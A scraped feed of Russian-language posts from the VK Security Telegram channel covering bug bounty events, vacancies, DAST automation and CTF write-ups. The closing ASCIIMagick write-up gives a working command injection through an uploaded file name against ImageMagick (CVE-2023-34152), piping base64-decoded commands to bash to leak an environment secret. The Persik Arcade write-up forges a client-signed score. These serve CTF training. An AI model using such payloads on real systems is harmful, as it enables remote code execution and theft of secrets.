Пятница — идеальный день, чтобы напомнить о главном событии следующей недели.
26 ноября встречаемся на ZeroNights! Мы ждём вас в VK Bug Bounty Lounge — нашем закрытом пространстве, созданном специально для сообщества багхантеров.
В программе:
🔹 захватывающий CTF с нетривиальными задачами;
🔹 эксклюзивный мерч и промокоды, которые увеличат выплаты за ваши следующие отчёты.
🔹 расслабленная атмосфера: прохладительные напитки, вкусные угощения и ароматные кальяны.
А пока готовимся к конференции — не забываем про главное!
Го сдавать ваши отчеты в программы VK Bug Bounty на платформах Standoff, BI.ZONE и Bugbounty.ru!
До встречи!
VK Security | Буст этому каналу!
#bugbounty #bountypass
26 ноября встречаемся на ZeroNights! Мы ждём вас в VK Bug Bounty Lounge — нашем закрытом пространстве, созданном специально для сообщества багхантеров.
В программе:
А пока готовимся к конференции — не забываем про главное!
Го сдавать ваши отчеты в программы VK Bug Bounty на платформах Standoff, BI.ZONE и Bugbounty.ru!
До встречи!
VK Security | Буст этому каналу!
#bugbounty #bountypass
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9😎6🔥4✍1😁1🌚1🏆1
Вечер вторника — самое время, чтобы посмотреть вакансии.
А вот и они🔹 🔹 🔹
Старший специалист в команду безопасности сетей в VK, Москва
Ищем эксперта по сетевой безопасности для защиты инфраструктуры, реагирования на инциденты, аудита и автоматизации процессов.
Руководитель направления antifraud в VK ID, Москва
Ожидаем глубокое понимание мошеннических схем, уверенные навыки работы с данными: SQL, BI-инструменты, лог-аналитика и опыт построения Roadmap и CJM.
Эксперт продуктовой безопасности в VK Tech, Москва
Ищем эксперта по продуктовой безопасности для внедрения Security-by-Design, проведения SAST/SCA/DAST и анализа защищённости архитектуры на всех этапах жизненного цикла разработки SDLC.
Аналитик антифрода (L2) в MAX
Ключевая задача — преобразование сырых данных из различных источников (логи, метрики, события) в эффективные детектирующие правила и модели для противодействия сложным мошенническим атакам.
А всем, кто лайкнул эту подборку, +100 к удаче на этой неделе! 💫
Контакт для связи: @lisenkova_a
VK Security | Буст этому каналу!
#вакансии
А вот и они
Старший специалист в команду безопасности сетей в VK, Москва
Ищем эксперта по сетевой безопасности для защиты инфраструктуры, реагирования на инциденты, аудита и автоматизации процессов.
Руководитель направления antifraud в VK ID, Москва
Ожидаем глубокое понимание мошеннических схем, уверенные навыки работы с данными: SQL, BI-инструменты, лог-аналитика и опыт построения Roadmap и CJM.
Эксперт продуктовой безопасности в VK Tech, Москва
Ищем эксперта по продуктовой безопасности для внедрения Security-by-Design, проведения SAST/SCA/DAST и анализа защищённости архитектуры на всех этапах жизненного цикла разработки SDLC.
Аналитик антифрода (L2) в MAX
Ключевая задача — преобразование сырых данных из различных источников (логи, метрики, события) в эффективные детектирующие правила и модели для противодействия сложным мошенническим атакам.
А всем, кто лайкнул эту подборку, +100 к удаче на этой неделе! 💫
Контакт для связи: @lisenkova_a
VK Security | Буст этому каналу!
#вакансии
Please open Telegram to view this post
VIEW IN TELEGRAM
❤12👍5🎉2💯1💔1
Смотрите, какая атмосфера царит в пространстве VK на ZeroNights 🪩
Мы пару месяцев не спали, чтобы подготовить для вас:
☕️ уютные зоны для погружения в доклады!
🎮 возможность залутать мерч в различных активностях: от простых задачек до уровня суперхард!
🕵🏻 закрытую зона для багхантеров — тут свои CTF-задачи, кальяны, напитки, еда и особые призы, включая промокоды и бонусы к выплатам.
👉🏻Чтобы попасть в Bug Bounty Lounge, достаточно показать оплаченный отчёт в абсолютно любой программе — и добро пожаловать в клуб избранных!
Ставьте реакцию:
💙 - Я уже тут!
👍 - Хочу к вам!
Мы пару месяцев не спали, чтобы подготовить для вас:
☕️ уютные зоны для погружения в доклады!
🎮 возможность залутать мерч в различных активностях: от простых задачек до уровня суперхард!
🕵🏻 закрытую зона для багхантеров — тут свои CTF-задачи, кальяны, напитки, еда и особые призы, включая промокоды и бонусы к выплатам.
👉🏻Чтобы попасть в Bug Bounty Lounge, достаточно показать оплаченный отчёт в абсолютно любой программе — и добро пожаловать в клуб избранных!
Ставьте реакцию:
💙 - Я уже тут!
👍 - Хочу к вам!
❤13👍13🔥5✍1
Как цены-то выросли…
🔹 И у нас тоже! Повышаем выплаты до x2 за уязвимости в программе MAX — теперь можно получить до 10 млн рублей за находку.
Ищем везде:
🔹 все домены: *.max.ru, *.oneme.ru;
🔹 официальные боты VK;
🔹 мобильные приложения (RuStore, Google Play, AppStore);
🔹 десктоп: Windows, Linux и Mac.
Ждём ваши отчёты:
🔹 Standoff Bug Bounty
🔹 BI.ZONE Bug Bounty
🔹 Bugbounty.ru
И не забывайте про Bounty Pass: чем больше уязвимостей вы находите, тем выше выплаты!
VK Security | Буст этому каналу!
#bugbounty #bountypass #MAX
Ищем везде:
Ждём ваши отчёты:
И не забывайте про Bounty Pass: чем больше уязвимостей вы находите, тем выше выплаты!
VK Security | Буст этому каналу!
#bugbounty #bountypass #MAX
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤7🤩4🏆1
ТОП-10 VK Bug Bounty 🏆
В рамках конференции ZeroNights 2025 наградили лучших багхантеров года! Ребята, вы — Легенды! Всем огромное спасибо за вашу работу! А тем, кто не смог быть с нами, уже готовим посылки с подарками!
ТОП-10:
1. brain
2. lobity
3. cutoffurmind
4. otuken
5. rolegiv
6. kedr
7. Slift
8. ratel_xx
9. Eptascript
10. fakeostap
Как формируется рейтинг?
Наш рейтинг — это не просто количество отчётов. Мы используем комплексный подход, в котором учитываются:
🔹 критичность найденной уязвимости;
🔹 размер назначенного вознаграждения;
🔹 регулярность и качество отчётов.
🔥 Следить за рейтингом в реальном времени можно 👉 на нашем сайте.
Хотите ворваться в ТОП в следующем году? Сейчас — лучшее время. Одна серьёзная находка может изменить многое...
VK Security | Буст этому каналу!
#bugbounty #bountypass
В рамках конференции ZeroNights 2025 наградили лучших багхантеров года! Ребята, вы — Легенды! Всем огромное спасибо за вашу работу! А тем, кто не смог быть с нами, уже готовим посылки с подарками!
ТОП-10:
1. brain
2. lobity
3. cutoffurmind
4. otuken
5. rolegiv
6. kedr
7. Slift
8. ratel_xx
9. Eptascript
10. fakeostap
Как формируется рейтинг?
Наш рейтинг — это не просто количество отчётов. Мы используем комплексный подход, в котором учитываются:
🔥 Следить за рейтингом в реальном времени можно 👉 на нашем сайте.
Хотите ворваться в ТОП в следующем году? Сейчас — лучшее время. Одна серьёзная находка может изменить многое...
VK Security | Буст этому каналу!
#bugbounty #bountypass
Please open Telegram to view this post
VIEW IN TELEGRAM
1🏆12🔥5😎4❤2👍2🤩1👨💻1🆒1
Кейс: как мы автоматизировали генерацию Nuclei-шаблонов для VK API с помощью LLM
Представьте, что у вас есть огромное количество новых методов в API, и вы хотите быстро и качественно тестировать их на уязвимости. Вручную это делать невозможно — слишком долго и скучно. Вот почему мы решили автоматизировать генерацию Nuclei-шаблонов на основе JSON-схем методов VK API, используя LLM.
🔹 Но задача оказалась не такой простой. Например, для создания комментария нужно сначала получить `postId`, а для этого вызвать другой метод. Как автоматически определить, какие данные нужны для каждого метода? И как понять, какие параметры можно использовать для тестирования уязвимостей, а какие — нет? Ведь не все поля одинаково «безопасны» для нагрузки.
Еще одна сложность — не всегда достаточно просто вызвать метод: иногда уязвимость проявится только после ряда действий на странице (например, открытие модального окна, клик по кнопке). Раньше такие сценарии писали вручную, но это не масштабируется. Мы искали способ автоматически собирать эти действия и использовать их для обучения LLM.
В итоге мы выбрали такой подход:
▫️ автоматически собираем актуальные методы VK API, чтобы всегда иметь самую свежую информацию;
обучаем LLM анализировать JSON-схемы, чтобы определять, какие параметры использовать для нагрузки, а какие — оставить в покое;
▫️ обогащаем модель контекстом: используем не только схемы методов, но и реальный трафик тестировщиков, а также автотесты, чтобы модель понимала, как методы применяются на практике;
▫️ запускаем бота на Selenium, который «проживает» основные пользовательские сценарии, чтобы фиксировать, какие методы используются на каких страницах;
▫️ для сложных сценариев, где методы вызываются не напрямую, собираем скрипты действий, чтобы расширить контекст обучения;
▫️ всё это позволяет нам избегать «галлюцинаций» — когда модель начинает выдумывать что-то лишнее — и поддерживать нужный баланс между информативностью и точностью.
Не обошлись без LLM и при выборе триггера сканирования. Как только завершаются функциональные тесты в пайплайне, в дело вступает модуль скоринга «фичи» на базе LLM. Модуль оценивает её на предмет существенности изменений: если фича больше про косметические правки, не затрагивает бизнес-логику, не порождает новых полей для пользовательского ввода, etc, то необходимости сканировать её нет.
🔹 Генерация Nuclei-шаблонов стала быстрой, масштабируемой и автоматической. Теперь мы можем быстро реагировать на появление новых методов, и количество тестов выросло в разы, а рутинная ручная работа — уменьшилась.
Но, конечно, не всё идеально: сложные user flows, вопросы с контекстом и галлюцинации — всё это мы учли и продолжаем дорабатывать.
🔹 Если у вас есть вопросы по нашему подходу или хотите обсудить детали — пишите!
Представьте, что у вас есть огромное количество новых методов в API, и вы хотите быстро и качественно тестировать их на уязвимости. Вручную это делать невозможно — слишком долго и скучно. Вот почему мы решили автоматизировать генерацию Nuclei-шаблонов на основе JSON-схем методов VK API, используя LLM.
Еще одна сложность — не всегда достаточно просто вызвать метод: иногда уязвимость проявится только после ряда действий на странице (например, открытие модального окна, клик по кнопке). Раньше такие сценарии писали вручную, но это не масштабируется. Мы искали способ автоматически собирать эти действия и использовать их для обучения LLM.
В итоге мы выбрали такой подход:
обучаем LLM анализировать JSON-схемы, чтобы определять, какие параметры использовать для нагрузки, а какие — оставить в покое;
Не обошлись без LLM и при выборе триггера сканирования. Как только завершаются функциональные тесты в пайплайне, в дело вступает модуль скоринга «фичи» на базе LLM. Модуль оценивает её на предмет существенности изменений: если фича больше про косметические правки, не затрагивает бизнес-логику, не порождает новых полей для пользовательского ввода, etc, то необходимости сканировать её нет.
Но, конечно, не всё идеально: сложные user flows, вопросы с контекстом и галлюцинации — всё это мы учли и продолжаем дорабатывать.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍60❤56🤩55🔥51💯44🎉36👏5🤪1
Представьте, что у вас десятки сервисов и постоянный поток изменений в проде, поэтому одни и те же уязвимости регулярно «всплывают» снова и снова.
Так, в свободное от основных задач время, началась разработка первого MVP. Это был, по сути, набор скриптов, они обходили сайты, подставляли в поля разные тестовые пейлоады с помощью популярного инструмента Nuclei и смотрели, что на выходе. Такой подход дал ожидаемый, но неутешительный результат: уровень шума и ложных срабатываний оказался очень высоким, а доля действительно полезных находок — минимальной.
Смена парадигмы
Мы сели и переосмыслили подход. Зачем сканировать тысячи одинаковых ручек API по общему списку? Гораздо полезнее была бы автоматизация для решения конкретных задач. Так родилась ключевая идея «регрессивного DAST».
Проблемы роста
С первыми результатами пришли и первые сложности. Пока тесты гоняли сами авторы на своих проектах — всё работало. Но для масштабирования на десятки продуктов VK нужно было решить проблему авторизации. Как агенту легитимно зайти под пользователя в каждый сервис?
Мы пробовали разные пути, но в итоге элегантное решение нашлось внутри компании — VK ID. Почти все наши сервисы его поддерживают. Мы научили нашего агента работать с ним: создавать тестовые учётные записи, получать сессии и использовать их для проверок. Это стало универсальным решением.
Архитектура платформы
В процессе проектирования было принято решение реализовать единую платформу для DAST-сканирований, которую по факту можно разделить на две части:
🔹 Центр — VK Security Gate. Единый планировщик, который ставит задачи, принимает и обрабатывает результаты. Общий интерфейс, где можно настраивать проверки, цели и расписания.
🔹 Агенты (исполнители). Их может быть много, и они могут быть разными. Мы сделали центрального агента для базовых нужд. Команда ВКонтакте, столкнувшись со спецификой своих продуктов и написала своего агента с поддержкой нужных им фреймворков и протоколов.
Главное правило простое: если агент умеет общаться с центральным планировщиком по единому API и присылать результаты в нужном формате — он часть платформы.
От ручных шаблонов к генерации ИИ
С агентом и платформой появился новый вопрос: а что, собственно, проверять? Ручное написание шаблонов для каждой уязвимости — трудоёмко. Мы пошли дальше и начали пытаться упростить себе жизнь через LLM.
Мы взяли базу из тысяч найденных за годы уязвимостей (описания из Jira) и научили цепочку ИИ-агентов делать из них валидные шаблоны для Nuclei. Один агент классифицирует тип уязвимости, другой вытаскивает параметры (URL, пейлоады), третий генерирует код, четвёртый — проверяет его работоспособность. Это позволило почти автоматически создать базу регресс-тестов.
Что в итоге?
🔹 DAST — это контроль, а не только находка багов. Его главная ценность — в том, чтобы не допустить возврата уже исправленных уязвимостей. Это страховка от регрессий, которая работает постоянно.
Гибкость важнее «универсального решения». В большой и разнородной компании попытка сделать один идеальный инструмент для всех обречена. Сработала модель платформы: общий центр и простая возможность допиливать своих агентов под задачи конкретных команд.
VK Security | Буст этому каналу
#VKSecurityGate #DAST
Так, в свободное от основных задач время, началась разработка первого MVP. Это был, по сути, набор скриптов, они обходили сайты, подставляли в поля разные тестовые пейлоады с помощью популярного инструмента Nuclei и смотрели, что на выходе. Такой подход дал ожидаемый, но неутешительный результат: уровень шума и ложных срабатываний оказался очень высоким, а доля действительно полезных находок — минимальной.
Смена парадигмы
Мы сели и переосмыслили подход. Зачем сканировать тысячи одинаковых ручек API по общему списку? Гораздо полезнее была бы автоматизация для решения конкретных задач. Так родилась ключевая идея «регрессивного DAST».
Суть проста:
1. На аудите или пентесте мы находим реальную уязвимость.
2. Тестировщик, который её нашёл, описывает чёткие шаги для воспроизведения.
3. Эти шаги превращаются в шаблон (тест-кейс) для нашего инструмента.
4. Этот тест мы можем запускать снова и снова, чтобы проверить: а исправлена ли уязвимость после патча? Не просочилась ли она обратно после обновления кода?
Проблемы роста
С первыми результатами пришли и первые сложности. Пока тесты гоняли сами авторы на своих проектах — всё работало. Но для масштабирования на десятки продуктов VK нужно было решить проблему авторизации. Как агенту легитимно зайти под пользователя в каждый сервис?
Мы пробовали разные пути, но в итоге элегантное решение нашлось внутри компании — VK ID. Почти все наши сервисы его поддерживают. Мы научили нашего агента работать с ним: создавать тестовые учётные записи, получать сессии и использовать их для проверок. Это стало универсальным решением.
Архитектура платформы
В процессе проектирования было принято решение реализовать единую платформу для DAST-сканирований, которую по факту можно разделить на две части:
Главное правило простое: если агент умеет общаться с центральным планировщиком по единому API и присылать результаты в нужном формате — он часть платформы.
От ручных шаблонов к генерации ИИ
С агентом и платформой появился новый вопрос: а что, собственно, проверять? Ручное написание шаблонов для каждой уязвимости — трудоёмко. Мы пошли дальше и начали пытаться упростить себе жизнь через LLM.
Мы взяли базу из тысяч найденных за годы уязвимостей (описания из Jira) и научили цепочку ИИ-агентов делать из них валидные шаблоны для Nuclei. Один агент классифицирует тип уязвимости, другой вытаскивает параметры (URL, пейлоады), третий генерирует код, четвёртый — проверяет его работоспособность. Это позволило почти автоматически создать базу регресс-тестов.
Что в итоге?
Гибкость важнее «универсального решения». В большой и разнородной компании попытка сделать один идеальный инструмент для всех обречена. Сработала модель платформы: общий центр и простая возможность допиливать своих агентов под задачи конкретных команд.
VK Security | Буст этому каналу
#VKSecurityGate #DAST
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6👍3🔥2✍1
Знакомьтесь с T-shaped подходом: когда глубокая экспертиза в безопасности встречается с пониманием разработки и DevOps. О том, как стать таким специалистом, на примере своего пути рассказывает ведущий DevOps-инженер VK, Андрей Шибалов.
Telegram
VK Team
Так-то я кибербезопасник. Разработка — это для души 😉
Рассказываем, как стать T-shaped специалистом и кто это такие. Андрей Шибалов, ведущий инженер DevOps в VK, поделился личным опытом развития и советами. Листайте карточки!
Рассказываем, как стать T-shaped специалистом и кто это такие. Андрей Шибалов, ведущий инженер DevOps в VK, поделился личным опытом развития и советами. Листайте карточки!
👍6🔥4👏3❤1😁1
Технологии безопасности Big Tech #7: как мы создали свой идеальный сканер
В новом выпуске Максим Казенков, специалист команды DevOps VK, расскажет о нашем собственном инструменте для мониторинга безопасности сети — Nmon.
🔹 Почему потребовался собственный сканер? Современные коммерческие решения оказались неэффективны для огромной инфраструктуры VK: они не обеспечивают необходимой точности и быстрого действия при обработке массивных объёмов данных.
Основные задачи Nmon
🔹 Устранение устаревших сервисов и потерянных фрагментов инфраструктуры.
🔹 Обеспечение оперативной идентификации угроз и снижение риска вторжений.
🔹 Решение проблем неправильного конфигурирования оборудования.
В видео — подробно про архитектуру, принципы распределённого сканирования и методы автоматической аналитики и приоритетности обработки сигналов.
🍿 Смотреть
В новом выпуске Максим Казенков, специалист команды DevOps VK, расскажет о нашем собственном инструменте для мониторинга безопасности сети — Nmon.
Основные задачи Nmon
В видео — подробно про архитектуру, принципы распределённого сканирования и методы автоматической аналитики и приоритетности обработки сигналов.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10❤2👍2✍1
С Новым годом!🎄✨
Пусть он будет безопасным и продуктивным! 🥂
А пока мы приготовили для вас кое-что особенное — праздничный набор CTF-задачек! Чтобы каникулы прошли: а) не скучно и б) с пользой для извилин, заходите порешать наши задачки. Идеально для перерыва между мандаринами и сериалами!
👉 Играть
P.S. Это те же задачи, которые мы открывали на конференции ZeroNight. Если вы уже с ними знакомы — отдыхайте! Для всех остальных — отличный повод потренироваться!
Пусть он будет безопасным и продуктивным! 🥂
А пока мы приготовили для вас кое-что особенное — праздничный набор CTF-задачек! Чтобы каникулы прошли: а) не скучно и б) с пользой для извилин, заходите порешать наши задачки. Идеально для перерыва между мандаринами и сериалами!
👉 Играть
P.S. Это те же задачи, которые мы открывали на конференции ZeroNight. Если вы уже с ними знакомы — отдыхайте! Для всех остальных — отличный повод потренироваться!
❤10🎉6⚡3🔥2🏆2
Новогодний CTF: подводим итоги
Привет всем, кто уже влился в рабочий ритм! ✨
Спасибо каждому, кто нашёл время на каникулах, чтобы размять мозги в нашем праздничном CTF!
Было невероятно круто следить за вашей активностью и азартом. Поздравляем первую пятёрку лидеров с лучшими результатами! 👏 Сегодня на вашу почту, указанную при регистрации, придёт подарочный промокод на бонусы от VK Cloud.
🏆 Топ-5 героев нашего CTF:
1 место: Azimoff
2 место: yghjgkhnlm
3 место: Bestra_KXTI
4 место: Kolkata
5 место: barungam
А теперь — к разборам задачек!🔹 🔹
Persik Arcade Writeup
Игра полностью реализована на стороне клиента в
, где nonce берётся
Для решения нужно:
1. Получить
2. Посчитать
3. Отправить
выполним в консоли браузера:
Задачу также можно решить через breakpoints в
В следующих постах — описание новых задач!
Привет всем, кто уже влился в рабочий ритм! ✨
Спасибо каждому, кто нашёл время на каникулах, чтобы размять мозги в нашем праздничном CTF!
Было невероятно круто следить за вашей активностью и азартом. Поздравляем первую пятёрку лидеров с лучшими результатами! 👏 Сегодня на вашу почту, указанную при регистрации, придёт подарочный промокод на бонусы от VK Cloud.
🏆 Топ-5 героев нашего CTF:
1 место: Azimoff
2 место: yghjgkhnlm
3 место: Bestra_KXTI
4 место: Kolkata
5 место: barungam
А теперь — к разборам задачек!
Persik Arcade Writeup
category: web, points: 100
Беги, прыгай, не умирай (желательно) и набери ровно 1337 очков.Игра полностью реализована на стороне клиента в
game.js. Сервер проверяет корректность nonce, соответствие mac = f(score, nonce) и выдает флаг, если score == 1337. После того как Персик споткнется - выполняется отправка результата submitWithRenew(score):Json
{
"score": <score>,
"nonce": <nonce>,
"mac": <mac>
}
, где nonce берётся
с /api/challenge при старте игры, затем используется для подписи результата, mac считается через window.wasmComputeMac(score, nonce) => клиент полностью контролирует score, nonce и mac.Для решения нужно:
1. Получить
nonce2. Посчитать
mac3. Отправить
score = 1337 с посчитанными ранее mac и nonce
4. Получить флаг без игрывыполним в консоли браузера:
Js
fetch('/api/challenge', { cache: 'no-store' })
.then(r => r.json())
.then(c => {
const score = 1337;
const nonce = Number(c.nonce) >>> 0;
const mac = window.wasmComputeMac(score >>> 0, nonce) >>> 0;
return fetch('/api/submit_score', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ score, nonce, mac })
});
})
.then(r => r.json())
.then(console.log);
и получим флаг:{ok: true, flag: 'vkctf{4a150e818be2a45e0c3f8c7e1cc98061}'}
Задачу также можно решить через breakpoints в
Debugger (Developer Tools), изменив значение переменной score.В следующих постах — описание новых задач!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5👏2🎉2⚡2✍1🔥1
Продолжаем серию технических разборов нашего CTF 🔹
На очереди — web-таск средней сложности ASCIIMagick, где пришлось превратить безобидный генератор ASCII-арта в инструмент для чтения флагов.
ASCIIMagick Writeup
При загрузке гифок и видео сервис переводит их в ASCII-анимацию, но при загрузке изображения отвечает ошибкой:
Из ошибки узнаём:
- Версию
- Абсолютный путь:
Поищем известные
с опцией сборки —
Удостоверимся, что
Подтвердим что сервис уязвим - создадим файл с payload в имени и загрузим его:
Значит, для решения нужно:
1. Создать файл с целевым command injection в имени
2. Загрузить его
3. Получить флаг в перезаписанном
Для удобства переведем payload в base64:
Впереди — новые таски и свежие разборы. Не переключайтесь!🔹
На очереди — web-таск средней сложности ASCIIMagick, где пришлось превратить безобидный генератор ASCII-арта в инструмент для чтения флагов.
ASCIIMagick Writeup
category: web, points: 300Загрузи картинку - получи ASCII-арт. Красиво! Загрузи правильную картинку - получи доступ к системе. Этот сервис переводит картинки, гифки и видео в ASCII-анимацию, как в старых терминалах и IRC-ботах :D
флаг находится в переменной окружения FLAG
При загрузке гифок и видео сервис переводит их в ASCII-анимацию, но при загрузке изображения отвечает ошибкой:
Failed to extract frames with ImageMagick 6.9.11-60. Falling back to display /app/static/sample_animation.txt
Из ошибки узнаём:
- Версию
ImageMagick: 6.9.11-60- Абсолютный путь:
/app/static/sample_animation.txtПоищем известные
RCE/command injection уязвимости для ImageMagick 6.9 — одним из первых результатов находится CVE-2023-34152:с опцией сборки —
enable-pipes ImageMagick может выполнять команды из имени файла, начинающегося с |, через popen. В SanitizeString не экранируются ` и ", поэтому возможна command injection.Удостоверимся, что
версия 6.9.11-60 уязвима:
https://security-tracker.debian.org/tracker/CVE-2023-34152
Исходный репорт об уязвимости:
https://github.com/ImageMagick/ImageMagick/issues/6339
Подтвердим что сервис уязвим - создадим файл с payload в имени и загрузим его:
touch '|"sleep 30".png'
После загрузки сервис «зависает» на 30 секунд при обработке пустого файла. Если изменить значение вsleep,время ответа меняется соответственно, что подтверждает исполнение payload.
Из описания таска знаем, что флаг хранится в переменной окружения FLAG. Напрямуюstdoutмы не видим, поэтому запишем значение в/app/static/sample_animation.txt:Sh/bin/bash -c "echo $FLAG > /app/static/sample_animation.txt"
Значит, для решения нужно:
1. Создать файл с целевым command injection в имени
2. Загрузить его
3. Получить флаг в перезаписанном
/app/static/sample_animation.txtДля удобства переведем payload в base64:
echo -n '/bin/bash -c "echo $FLAG > /app/static/sample_animation.txt"' | base64
L2Jpbi9iYXNoIC1jICJlY2hvICRGTEFHID4gL2FwcC9zdGF0aWMvc2FtcGxlX2FuaW1hdGlvbi50eHQi
Создадим файл с целевым payload в имени:
Sh
touch '|"echo L2Jpbi9iYXNoIC1jICJlY2hvICRGTEFHID4gL2FwcC9zdGF0aWMvc2FtcGxlX2FuaW1hdGlvbi50eHQi|base64 -d|bash".png'
Подгрузим файл и обновим страницу - сервис вернёт обновленное содержимое/app/static/sample_animation.txt:
vkctf{00e3ed98b6d9acd54b04334d26ad4b13}
Впереди — новые таски и свежие разборы. Не переключайтесь!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5✍4🔥3👏2